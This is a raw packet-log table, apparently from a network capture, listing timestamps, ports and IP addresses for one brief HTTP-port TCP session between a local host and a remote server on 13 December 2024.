Dec 13, 2024 08:36:34.775958061 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.776685953 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.776732922 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.776794910 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.776839018 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.777595043 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.777652025 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.777693987 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.777736902 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.778459072 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.778625011 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.778676033 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.779390097 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.779428959 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.779449940 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.779484034 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.780277014 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.780378103 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.780431986 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.781157017 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.781208038 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.781300068 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.781374931 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.782025099 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.782075882 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.782103062 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.782147884 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.782932043 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.783019066 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.783066988 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.783862114 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.783915997 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.783941984 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.783986092 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.784759045 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.784802914 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.784828901 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.784872055 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.785651922 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.785697937 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.785809994 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.785854101 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.786506891 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.786628008 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.786681890 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.787409067 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.787461042 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.787539959 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.787589073 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.788299084 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.788350105 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.788446903 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.788500071 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.789264917 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.789318085 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.789374113 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.789431095 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.790107012 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.790153980 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.790220022 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.790276051 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.790997982 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.791109085 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.791165113 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.791881084 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.791935921 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.791980028 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.792028904 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.792762995 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.792809963 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.792879105 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.792937994 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.793705940 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.793752909 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.793768883 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.793811083 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.794569969 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.794615984 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.794636965 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.794680119 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.795473099 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.795516014 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.795521975 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.795561075 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.796390057 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.796458960 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.796494007 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.796536922 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.797254086 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.797292948 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.797312975 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.797338963 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.798151016 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.798300028 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.798358917 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.799042940 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.799098969 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.799148083 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.799201965 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.799937963 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.799993038 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.799999952 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.800038099 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.800829887 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.800880909 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.800925970 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.800970078 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.801745892 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.801769018 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.801789045 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.801814079 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.802647114 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.802704096 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.802758932 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.803518057 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.803601980 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.803628922 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.803677082 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.804405928 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.804445982 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.804636002 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.805314064 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.805372000 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.805407047 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.805457115 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.806175947 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.806231022 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.806303978 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.806349039 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.807075024 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.807126999 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.807192087 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.807239056 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.808005095 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.808057070 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.808096886 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.808141947 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.808895111 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.808979988 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.809037924 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.809796095 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.809844971 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.809916019 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.809959888 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.810672998 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.810719013 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.810775042 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.810817957 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.811543941 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.811589956 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.811929941 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.811981916 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.812462091 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.812509060 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.812634945 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.812679052 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.813342094 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.813435078 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.813483000 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.896969080 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.897022963 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.897079945 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.897115946 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.897377014 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.897428989 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.897500992 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.897547960 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.898261070 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.898299932 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.898575068 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.898621082 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.898686886 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.898730040 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.962789059 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.962872028 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.962886095 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.962918997 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.962965012 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.963021994 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.963645935 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.963687897 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.963721991 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.963767052 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.964451075 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.964575052 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.964636087 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.965363979 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.965471029 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.965512037 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.966240883 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.966285944 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.966336012 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.966382980 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.967359066 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.967379093 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.967422009 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.968028069 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.968070030 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.968112946 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.968153954 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.968924046 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.968970060 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.969007015 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.969876051 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.969927073 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.969990969 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.970036983 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.970799923 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.970845938 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.970854998 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.970896006 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.971606970 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.971649885 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.971724987 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.971767902 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.972532034 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.972582102 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.972616911 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.972661018 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.973428011 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.973439932 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.973476887 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.974318027 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.974329948 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.974368095 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.975203037 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.975243092 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.975255013 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.975297928 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.976085901 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.976126909 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.976247072 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.976298094 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.976960897 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.977010012 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.977114916 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.977154970 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.977885962 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.977936029 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.977957010 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.978033066 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.978763103 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.978805065 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.978877068 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.978916883 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.979716063 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.979753971 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.979777098 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.979789972 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.980621099 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.980660915 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.980664968 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.980700970 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.981443882 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.981488943 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.981529951 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.981565952 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.982361078 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.982528925 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.982574940 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.983259916 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.983289957 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.983302116 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.983341932 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.984200001 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.984242916 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.984347105 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.984397888 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.985017061 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.985090017 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.985156059 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.985907078 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.985951900 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.985991001 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.986036062 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.986790895 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.987087965 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.987128973 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.987690926 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.987737894 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.987801075 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.987845898 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.988585949 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.988670111 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.988698006 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.988740921 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.989459038 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.989499092 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.989641905 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.989690065 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.990367889 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.990489960 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.990544081 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.991350889 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.991400003 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.991405010 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.991451979 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.992156029 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.992198944 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.992255926 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.992300987 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.993087053 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.993271112 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.993313074 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.993936062 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.993977070 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.994041920 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.994086981 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.994839907 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.994883060 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.995028973 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.995088100 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.995745897 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.995790958 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.995891094 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.995929956 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.996654987 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.996784925 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.996840000 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.997553110 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.997628927 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.997684956 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.998410940 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.998460054 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.998531103 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.998575926 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.999320030 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.999375105 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:34.999449968 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:34.999494076 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.000190020 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.000238895 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.000276089 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.000312090 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.001094103 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.001194954 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.001207113 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.001264095 CET	49772	80	192.168.2.4	80.82.65.70
Dec 13, 2024 08:36:35.002001047 CET	80	49772	80.82.65.70	192.168.2.4
Dec 13, 2024 08:36:35.002042055 CET	49772	80	192.168.2.4	80.82.65.70
